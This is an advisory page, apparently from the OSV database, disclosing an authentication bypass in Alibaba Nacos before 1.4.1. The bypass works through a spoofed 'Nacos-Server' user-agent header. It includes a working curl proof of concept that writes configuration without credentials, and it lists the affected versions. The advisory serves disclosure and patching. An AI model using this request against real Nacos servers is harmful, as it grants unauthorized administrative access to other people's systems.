GHSA-36hp-jr8h-556f

Source

https://github.com/advisories/GHSA-36hp-jr8h-556f

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-36hp-jr8h-556f/GHSA-36hp-jr8h-556f.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-36hp-jr8h-556f

Aliases

Published

2021-04-27T20:09:17Z

Modified

2024-12-02T05:44:18.113846Z

Summary

Authentication Bypass

Details

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

Database specific

{
    "nvd_published_at": "2021-04-27T21:15:00Z",
    "cwe_ids": [
        "CWE-290"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-27T20:08:38Z"
}

References

Affected packages

Maven / com.alibaba.nacos:nacos-common

Package

Name: com.alibaba.nacos:nacos-common; View open source insights on deps.dev
Purl: pkg:maven/com.alibaba.nacos/nacos-common

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.4.1

Affected versions

0.*

0.1.0

0.2.0

0.2.1-RC1

0.2.1

0.3.0-RC1

0.3.0

0.4.0

0.5.0

0.6.0

0.6.1

0.6.2

0.8.0

0.8.1

0.8.2

0.9.0

0.9.1

1.*

1.0.0-RC1

1.0.0-RC2

1.0.0-RC3

1.0.0-RC4

1.0.0

1.0.1

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.2.0-beta.0

1.2.0-beta.1

1.2.0

1.2.1

1.3.0

1.3.1-BETA

1.3.1-BETA.1

1.3.1

1.3.2

1.3.3

1.4.0-BETA

1.4.0